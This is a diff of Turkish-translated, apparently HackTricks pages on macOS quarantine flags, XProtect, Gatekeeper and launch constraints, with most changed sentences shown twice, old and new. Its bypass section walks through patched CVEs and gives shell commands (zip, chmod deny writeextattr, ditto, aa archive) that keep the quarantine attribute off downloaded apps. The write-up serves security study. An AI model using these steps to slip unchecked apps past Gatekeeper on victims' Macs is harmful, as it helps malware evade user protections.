Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyanın güvenilmeyen bir kaynaktan (internet) geldiğini ve potansiyel olarak risk taşıdığını **belirlemek** için bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar. Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyanın güvenilmeyen bir kaynaktan (internet) geldiğini ve potansiyel olarak risk taşıdığını **belirlemek** için bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğini işaret eder**. **Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğini işaret eder.**
**Karantina bayrağı mevcut değilse** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri yapılmayabilir**. Bu nedenle, kullanıcıların daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmaları gerekir. **Karantina bayrağı mevcut değilse** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri yapılmayabilir**. Bu nedenle, kullanıcıların daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmaları gerekir.
> [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verildiği tarihten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerden dolayı, tam bir kod imzası ve notarlık kontrolü, **her uygulama başlatıldığında çalıştırmak pratik değildir**. > [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verilmesinden sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerle, tam bir kod imzası ve notlandırma kontrolü, bir uygulama her başlatıldığında **uygulamak pratik değildir**.
> >
> Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar çalıştırıldığında yapılır.** > Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar çalıştırıldığında yapılır.**
> [!WARNING] > [!WARNING]
> Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır**. > Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır.**
> >
> Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **Info.plist** dosyasında [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) anahtarını belirtebilirler. > Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği ayarlayacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalar üzerinde `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **Info.plist** dosyasında [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) anahtarını belirtebilirler.
Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen dosya yoluna karantina niteliğini ekler. Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen dosya yoluna karantina niteliğini ekler.
@ -177,7 +177,7 @@ xattr file.png
com.apple.macl com.apple.macl
com.apple.quarantine com.apple.quarantine
``` ```
**Genişletilmiş** **niteliklerin** **değerini** kontrol edin ve karantina niteliğini yazan uygulamayı bulun: **Genişletilmiş** **özelliklerin** **değerini** kontrol edin ve karantina özelliğini yazan uygulamayı bulun:
```bash ```bash
xattr -l portada.png xattr -l portada.png
com.apple.macl: com.apple.macl:
@ -269,7 +269,7 @@ Ve tüm karantinaya alınmış dosyaları bulmak için:
```bash ```bash
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
``` ```
Karantina bilgileri, dosya kökenleri hakkında veri elde etmek için GUI'nin erişim sağladığı **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** dosyasında LaunchServices tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir. Karantina bilgileri, dosya kökenleri hakkında veri elde etmek için GUI'nin erişim sağladığı **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir.
#### **libquarantine.dylb** #### **libquarantine.dylb**
@ -279,7 +279,7 @@ Bu kütüphane, genişletilmiş nitelik alanlarını manipüle etmeye olanak tan
#### **Quarantine.kext** #### **Quarantine.kext**
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu da uzantının sembolik versiyonunu içerecektir. Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu uzantının sembolik versiyonunu içerecektir.
Bu Kext, dosya yaşam döngüsü olaylarını yakalamak için MACF aracılığıyla birkaç çağrıyı bağlayacaktır: Oluşturma, açma, yeniden adlandırma, sert bağlantı oluşturma... hatta `setxattr`'ı `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını önlemek için kullanır. Bu Kext, dosya yaşam döngüsü olaylarını yakalamak için MACF aracılığıyla birkaç çağrıyı bağlayacaktır: Oluşturma, açma, yeniden adlandırma, sert bağlantı oluşturma... hatta `setxattr`'ı `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını önlemek için kullanır.
@ -290,13 +290,13 @@ Ayrıca birkaç MIB kullanır:
### XProtect ### XProtect
XProtect, macOS'ta yerleşik bir **kötü amaçlı yazılım önleyici** özelliktir. XProtect, **herhangi bir uygulamayı ilk kez başlatıldığında veya değiştirildiğinde bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla kontrol eder**. Safari, Mail veya Mesajlar gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır. XProtect, macOS'ta yerleşik bir **kötü amaçlı yazılım önleme** özelliğidir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla kontrol eder**. Safari, Mail veya Mesajlar gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır.
XProtect veritabanı, Apple tarafından yeni kötü amaçlı yazılım tanımlarıyla **düzenli olarak güncellenir** ve bu güncellemeler otomatik olarak Mac'inize indirilir ve yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olmasını sağlar. XProtect veritabanı, Apple tarafından yeni kötü amaçlı yazılım tanımlarıyla **düzenli olarak güncellenir** ve bu güncellemeler otomatik olarak Mac'inize indirilip yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olmasını sağlar.
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmekte fayda var. Sadece bilinen tehditlerin belirli bir listesini kontrol eder ve çoğu antivirüs yazılımı gibi erişim taraması yapmaz. Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmekte fayda var. Sadece bilinen tehditlerin belirli bir listesini kontrol eder ve çoğu antivirüs yazılımı gibi erişim taraması yapmaz.
En son XProtect güncellemesi hakkında bilgi alabilirsiniz: En son XProtect güncellemesi hakkında bilgi almak için:
```bash ```bash
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
``` ```
@ -312,27 +312,27 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun
### Not Gatekeeper ### Not Gatekeeper
> [!CAUTION] > [!CAUTION]
> Gatekeeper'in **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) **çalıştırılabilir kod imzalarını** yalnızca daha önce Gatekeeper tarafından çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **doğrular.** > Gatekeeper'in **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) **çalıştırılabilir kod imzalarını** doğrular, eğer uygulama daha önce Gatekeeper tarafından çalıştırılmış ve doğrulanmışsa.
Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak mümkündü, ardından **uygulamanın çalıştırılamayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılırdı.** Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak mümkündü, ardından **uygulamanın çalıştırılamayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve eğer başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılırdı**.
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama bundle'ları içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra bundle'ı değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizisinin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır. Ancak, şimdi bu mümkün değil çünkü macOS **uygulama bundle'ları içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü uygulamayı Gatekeeper ile önbelleğe almak için çalıştırdıktan sonra bundle'ı değiştiremeyeceksiniz. Örneğin, İçerikler dizisinin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
## Gatekeeper Atlatmaları ## Gatekeeper Atlatmaları
Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren bazı tekniklere atanan CVE'ler şunlardır: Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren bazı tekniklere atanmış CVE'ler şunlardır:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility** kullanılarak çıkarma yapıldığında, **886 karakteri aşan yollar** olan dosyaların com.apple.quarantine genişletilmiş niteliğini almadığı gözlemlendi. Bu durum, bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **aşmasına** neden olmaktadır. **Archive Utility** kullanılarak çıkarma yapıldığında, **886 karakteri aşan yollar** içeren dosyaların com.apple.quarantine genişletilmiş niteliğini almadığı gözlemlenmiştir. Bu durum, bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlatmasına** neden olmaktadır.
Daha fazla bilgi için [**orijinal raporu**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) kontrol edin. Daha fazla bilgi için [**orijinal raporu**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) kontrol edin.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için gereken bilgiler `application.app/Contents/document.wflow` içinde bulunur, çalıştırılabilir dosyada değil. Çalıştırılabilir dosya, **Automator Application Stub** adı verilen genel bir Automator ikili dosyasıdır. Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için gereken bilgiler `application.app/Contents/document.wflow` içinde bulunur, çalıştırılabilir dosyada değil. Çalıştırılabilir dosya, sadece **Automator Uygulama Stub** olarak adlandırılan genel bir Automator ikili dosyasıdır.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Application Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin script'iniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek çalıştırılabilir dosya karantina xattr'ına sahip değildir. Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Uygulama Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin scriptiniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek çalıştırılabilir dosya karantina xattr'ına sahip değildir.
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -340,11 +340,11 @@ Daha fazla bilgi için [**orijinal raporu**](https://ronmasas.com/posts/bypass-m
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Bu atlatmada, `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama ile bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye uygulanmadı, bu da Gatekeeper'ın kontrol ettiği yerdi, bu nedenle Gatekeeper, `application.app` tetiklendiğinde **karantina niteliğine sahip olmadığı için** atlatıldı. Bu atlatmada, `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama ile bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye değil, bu da Gatekeeper'ın kontrol ettiği yerdi, bu yüzden Gatekeeper atlatıldı çünkü `application.app` tetiklendiğinde **karantina niteliğine sahip değildi.**
```bash ```bash
zip -r test.app/Contents test.zip zip -r test.app/Contents test.zip
``` ```
Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) for more information. Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) kontrol edin.
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
@ -356,7 +356,7 @@ Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-thre
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** bir dosyaya bir öznitelik yazılmasını engellemek için kullanılabilir: ACL **`writeextattr`** bir dosyaya bir öznitelik yazılmasını önlemek için kullanılabilir:
```bash ```bash
touch /tmp/no-attr touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -365,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
``` ```
Ayrıca, **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar. Ayrıca, **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) **`com.apple.acl.text`** adlı xattr içinde saklanan ACL metin temsilinin, açılmış dosyada ACL olarak ayarlanacağını görebilirsiniz. Yani, bir uygulamayı, diğer xattr'ların yazılmasını engelleyen bir ACL ile **AppleDouble** dosya formatında bir zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı: [**kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) **`com.apple.acl.text`** adlı xattr içinde saklanan ACL metin temsilinin, açılmış dosyada ACL olarak ayarlanacağını görebilirsiniz. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
```bash ```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip ditto -c -k test test.zip
@ -423,8 +423,8 @@ aa archive -d s/ -o app.aar
- Kurban tar.gz dosyasını açar ve uygulamayı çalıştırır. - Kurban tar.gz dosyasını açar ve uygulamayı çalıştırır.
- Gatekeeper uygulamayı kontrol etmez. - Gatekeeper uygulamayı kontrol etmez.
### Quarantine xattr'ı Önleme ### Prevent Quarantine xattr
Bir ".app" paketinde, karantina xattr eklenmemişse, çalıştırıldığında **Gatekeeper tetiklenmeyecek**. Bir ".app" paketinde eğer karantina xattr eklenmemişse, çalıştırıldığında **Gatekeeper tetiklenmeyecek**.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Temel Bilgiler ## Temel Bilgiler
macOS'taki başlatma kısıtlamaları, **bir sürecin nasıl, kim tarafından ve nereden başlatılacağını düzenleyerek** güvenliği artırmak için tanıtılmıştır. macOS Ventura'da başlatılan bu kısıtlamalar, **her sistem ikili dosyasını belirli kısıtlama kategorilerine** ayıran bir çerçeve sağlar; bu kategoriler **güven cache'inde** tanımlanmıştır ve sistem ikili dosyalarını ve bunların ilgili hash'lerini içeren bir listedir. Bu kısıtlamalar, sistemdeki her yürütülebilir ikili dosyayı kapsar ve **belirli bir ikili dosyanın başlatılması için gereksinimleri** belirleyen bir dizi **kural** içerir. Kurallar, bir ikilinin karşılaması gereken kendi kısıtlamalarını, ebeveyn sürecinin karşılaması gereken ebeveyn kısıtlamalarını ve diğer ilgili varlıkların uyması gereken sorumlu kısıtlamaları kapsar. macOS'taki başlatma kısıtlamaları, **bir sürecin nasıl, kim tarafından ve nereden başlatılacağını düzenleyerek** güvenliği artırmak için tanıtılmıştır. macOS Ventura ile başlatılan bu kısıtlamalar, **her sistem ikili dosyasını belirli kısıtlama kategorilerine** ayıran bir çerçeve sağlar; bu kategoriler **güven cache'inde** tanımlanmıştır ve sistem ikili dosyalarını ve bunların ilgili hash'lerini içerir. Bu kısıtlamalar, sistemdeki her yürütülebilir ikili dosyayı kapsar ve **belirli bir ikili dosyanın başlatılması için gereksinimleri** belirleyen bir dizi **kural** içerir. Kurallar, bir ikilinin karşılaması gereken kendi kısıtlamalarını, ebeveyn sürecinin karşılaması gereken ebeveyn kısıtlamalarını ve diğer ilgili varlıkların uyması gereken sorumlu kısıtlamaları kapsar.
Mekanizma, macOS Sonoma'dan itibaren **Ortam Kısıtlamaları** aracılığıyla üçüncü taraf uygulamalara da uzanır ve geliştiricilerin uygulamalarını korumalarına olanak tanır; bu, bir **dizi anahtar ve değer belirleyerek** yapılır. Mekanizma, macOS Sonoma'dan itibaren **Ortam Kısıtlamaları** aracılığıyla üçüncü taraf uygulamalara da uzanır ve geliştiricilerin uygulamalarını korumalarına olanak tanır; bu, bir **dizi anahtar ve değer belirleyerek** yapılır.
@ -13,7 +13,7 @@ Mekanizma, macOS Sonoma'dan itibaren **Ortam Kısıtlamaları** aracılığıyla
4 tür kısıtlama vardır: 4 tür kısıtlama vardır:
- **Kendi Kısıtlamaları**: **çalışan** ikiliye uygulanan kısıtlamalar. - **Kendi Kısıtlamaları**: **çalışan** ikiliye uygulanan kısıtlamalar.
- **Ebeveyn Süreci**: **sürecin ebeveynine** uygulanan kısıtlamalar (örneğin **`launchd`** bir XP hizmeti çalıştırıyorsa) - **Ebeveyn Süreci**: **sürecin ebeveynine** uygulanan kısıtlamalar (örneğin **`launchd`** bir XP hizmetini çalıştırıyorsa)
- **Sorumlu Kısıtlamalar**: **hizmeti çağıran sürece** uygulanan kısıtlamalar bir XPC iletişimi içinde - **Sorumlu Kısıtlamalar**: **hizmeti çağıran sürece** uygulanan kısıtlamalar bir XPC iletişimi içinde
- **Kütüphane yükleme kısıtlamaları**: Yüklenebilecek kodu seçici olarak tanımlamak için kütüphane yükleme kısıtlamalarını kullanın - **Kütüphane yükleme kısıtlamaları**: Yüklenebilecek kodu seçici olarak tanımlamak için kütüphane yükleme kısıtlamalarını kullanın
@ -28,15 +28,15 @@ Bir LC, **gerçekler** ve **mantıksal işlemler** (ve, veya..) ile oluşturulmu
[**Bir LC'nin kullanabileceği gerçekler belgelenmiştir**](https://developer.apple.com/documentation/security/defining_launch_environment_and_library_constraints). Örneğin: [**Bir LC'nin kullanabileceği gerçekler belgelenmiştir**](https://developer.apple.com/documentation/security/defining_launch_environment_and_library_constraints). Örneğin:
- is-init-proc: Yürütülebilir dosyanın işletim sisteminin başlatma süreci (`launchd`) olup olmadığını belirten bir Boolean değeri. - is-init-proc: Yürütülebilir dosyanın işletim sisteminin başlatma süreci (`launchd`) olup olmadığını belirten bir Boolean değeri.
- is-sip-protected: Yürütülebilir dosyanın Sistem Bütünlüğü Koruması (SIP) tarafından korunup korunmadığını belirten bir Boolean değeri. - is-sip-protected: Yürütülebilir dosyanın Sistem Bütünlüğü Koruması (SIP) tarafından korunan bir dosya olup olmadığını belirten bir Boolean değeri.
- `on-authorized-authapfs-volume:` İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulaması yapılmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri. - `on-authorized-authapfs-volume:` İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulanmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
- `on-authorized-authapfs-volume`: İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulaması yapılmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri. - `on-authorized-authapfs-volume`: İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulanmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
- Cryptexes hacmi - Cryptexes hacmi
- `on-system-volume:` İşletim sisteminin yürütülebilir dosyayı şu anda önyüklenmiş sistem hacminden yükleyip yüklemediğini belirten bir Boolean değeri. - `on-system-volume:` İşletim sisteminin yürütülebilir dosyayı şu anda önyüklenmiş sistem hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
- İçinde /System... - İçinde /System...
- ... - ...
Bir Apple ikilisi imzalandığında, **onu güven cache'inde bir LC kategorisine atar**. Bir Apple ikilisi imzalandığında, **onu bir LC kategorisine atar** **güven cache'inde**.
- **iOS 16 LC kategorileri** [**tersine çevrildi ve burada belgelenmiştir**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056). - **iOS 16 LC kategorileri** [**tersine çevrildi ve burada belgelenmiştir**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
- Mevcut **LC kategorileri (macOS 14 - Somona)** tersine çevrildi ve [**açıklamaları burada bulunabilir**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53). - Mevcut **LC kategorileri (macOS 14 - Somona)** tersine çevrildi ve [**açıklamaları burada bulunabilir**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
@ -54,7 +54,7 @@ Parent Constraint: is-init-proc
### LC Kategorilerini Tersine Çevirme ### LC Kategorilerini Tersine Çevirme
Bununla ilgili daha fazla bilgiye [**buradan ulaşabilirsiniz**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), ama temelde, **AMFI (AppleMobileFileIntegrity)** içinde tanımlanmışlardır, bu yüzden **KEXT**'i almak için Kernel Development Kit'i indirmeniz gerekir. **`kConstraintCategory`** ile başlayan semboller **ilginç** olanlardır. Bunları çıkardığınızda, [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) veya python-asn1 kütüphanesi ve `dump.py` scripti ile çözmeniz gereken DER (ASN.1) kodlu bir akış elde edeceksiniz, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) size daha anlaşılır bir dize verecektir. Bununla ilgili daha fazla bilgiye [**buradan ulaşabilirsiniz**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), ama temelde, **AMFI (AppleMobileFileIntegrity)** içinde tanımlanmışlardır, bu yüzden **KEXT**'i almak için Kernel Geliştirme Kitini indirmeniz gerekir. **`kConstraintCategory`** ile başlayan semboller **ilginç** olanlardır. Bunları çıkardığınızda, [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) veya python-asn1 kütüphanesi ve `dump.py` scripti ile çözmeniz gereken DER (ASN.1) kodlu bir akış elde edeceksiniz, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) daha anlaşılır bir dize verecektir.
## Ortam Kısıtlamaları ## Ortam Kısıtlamaları
@ -66,7 +66,7 @@ codesign -d -vvvv app.app
``` ```
## Güven Cache'leri ## Güven Cache'leri
**macOS**'ta birkaç güven cache'i vardır: **macOS**'ta birkaç güven cache'i bulunmaktadır:
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`** - **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** - **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
@ -75,13 +75,13 @@ codesign -d -vvvv app.app
Ve iOS'ta **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** içinde olduğu görünmektedir. Ve iOS'ta **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** içinde olduğu görünmektedir.
> [!WARNING] > [!WARNING]
> Apple Silicon cihazlarda çalışan macOS'ta, eğer bir Apple imzalı ikili güven cache'inde yoksa, AMFI onu yüklemeyi reddedecektir. > Apple Silicon cihazlarda çalışan macOS'ta, eğer bir Apple imzalı ikili güven cache'inde yoksa, AMFI bunu yüklemeyi reddedecektir.
### Güven Cache'lerini Sıralama ### Güven Cache'lerini Sıralama
Önceki güven cache dosyaları **IMG4** ve **IM4P** formatındadır, IM4P IMG4 formatının yük bölümüdür. Önceki güven cache dosyaları **IMG4** ve **IM4P** formatındadır, IM4P IMG4 formatının yükleme bölümüdür.
